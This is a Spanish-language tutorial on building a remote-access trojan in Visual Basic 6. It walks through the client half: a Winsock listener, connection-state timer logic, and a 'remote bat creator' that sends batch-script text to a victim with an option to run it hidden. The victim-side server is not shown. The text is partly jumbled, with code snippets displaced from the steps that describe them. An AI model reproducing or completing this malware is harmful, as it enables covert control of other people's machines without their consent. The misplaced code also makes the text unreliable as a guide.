materiales:
- CSocketMaster descargar aqui
- visual basic 6
- Ganas de aprender
bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
1ª_parte
Cliente
bueno empesaremos a programar el cliente.
Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas) , luego dentro del evento click del command1 pondremos
Código
osea el code completo del programa seria
frame1.visible = true
Código
luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
Private Sub Command1_Click() Frame1.Visible = True End Sub
la parte grafica debe estar quedando mas o menos asi.
Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos
Código
luego pondremos en el evento timer del timer1 el siguinte codigo:
On Error Resume Next 'esto es para que en un error prosiga i no pare ws.Close 'cerramos la conexion ws.Accept requestID 'acepta cualquier conexion entrante timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1 timer1.Enabled = True 'abilitaremos el timer1
Código
esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
If ws.State = 0 Then Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado ws.Close 'cerramos la conexion ws.Listen 'escuchamos End If ' teminamos el if If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
aora en el evento click del command2 que es el que dice conectar pondremos
Código
esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox ws.Close 'cierra cualquier conexion que alla con este programa ws.Listen 'deja ala escucha el puerto introducido en el textbox If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
Código
bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :
If ws.State = 7 Then 've si estamos conectados ws.Close ' si estamos conectados nos desconecta Else MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage End If 'teminamos el if
Código
bueno aora haremos el creaador de bats remoto.
Private Sub Command2_Click() On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox ws.Close 'cierra cualquier conexion que alla con este programa ws.Listen 'deja ala escucha el puerto introducido en el textbox If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando End Sub Private Sub Command3_Click() If ws.State = 7 Then 've si estamos conectados ws.Close ' si estamos conectados nos desconecta Else MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage End If 'teminamos el if End Sub Private Sub Timer1_Timer() If ws.State = 0 Then Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado ws.Close 'cerramos la conexion ws.Listen 'escuchamos End If ' teminamos el if If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) On Error Resume Next 'esto es para que en un error prosiga i no pare ws.Close 'cerramos la conexion ws.Accept requestID 'acepta cualquier conexion entrante Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1 Timer1.Enabled = True 'abilitaremos el timer1 End Sub
primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos
Código
i en el evento click del command1 ponemos
Frame1.Visible = False ' ocultamos el frame1 Frame2.Visible = True ' mostramos el frame2
Código
osea el code de estos dos botones queda asi:
Frame2.Visible = False ' ocultamos el frame2 Frame1.Visible = True ' mostramos el frame1
Código
bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
Private Sub Command1_Click() Frame2.Visible = False ' ocultamos el frame2 Frame1.Visible = True ' mostramos el frame1 End Sub Private Sub Command4_Click() Frame1.Visible = False ' ocultamos el frame1 Frame2.Visible = True ' mostramos el frame2 End Sub
deberia estar quedando mas o menos asi:
bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones
Código
i en el evento click del option2
vista = "true" ' cambiamos la variable vista a true
Código
luego declaramos la variable global separador tipo string i en el evento load del form ponemos
vista = "falso" ' cambiamos la variable vista a falso
Código
separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano
luego en el evento click del command5 ponemos ponemos
Código
bueno asta aca el codigo completo seria
ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
Código
Dim separador As String Dim vista As String Private Sub Command1_Click() Frame2.Visible = False ' ocultamos el frame2 Frame1.Visible = True ' mostramos el frame1 End Sub Private Sub Command2_Click() On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox ws.Close 'cierra cualquier conexion que alla con este programa ws.Listen 'deja ala escucha el puerto introducido en el textbox If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando End Sub Private Sub Command3_Click() If ws.State = 7 Then 've si estamos conectados ws.Close ' si estamos conectados nos desconecta Else MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage End If 'teminamos el if End Sub Private Sub Command4_Click() Frame1.Visible = False ' ocultamos el frame1 Frame2.Visible = True ' mostramos el frame2 End Sub Private Sub Command5_Click() ws.SendData Text2.Text & separador & vista End Sub Private Sub Form_Load() separador = "@^^^%/()!||||¿?¿?¿?_--" End Sub Private Sub Option1_Click() vista = "true" End Sub Private Sub Option2_Click() vista = "falso" End Sub Private Sub Timer1_Timer() If ws.State = 0 Then Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado ws.Close 'cerramos la conexion ws.Listen 'escuchamos End If ' teminamos el if If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) On Error Resume Next 'esto es para que en un error prosiga i no pare ws.Close 'cerramos la conexion ws.Accept requestID 'acepta cualquier conexion entrante Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1 Timer1.Enabled = True 'abilitaremos el timer1 End Sub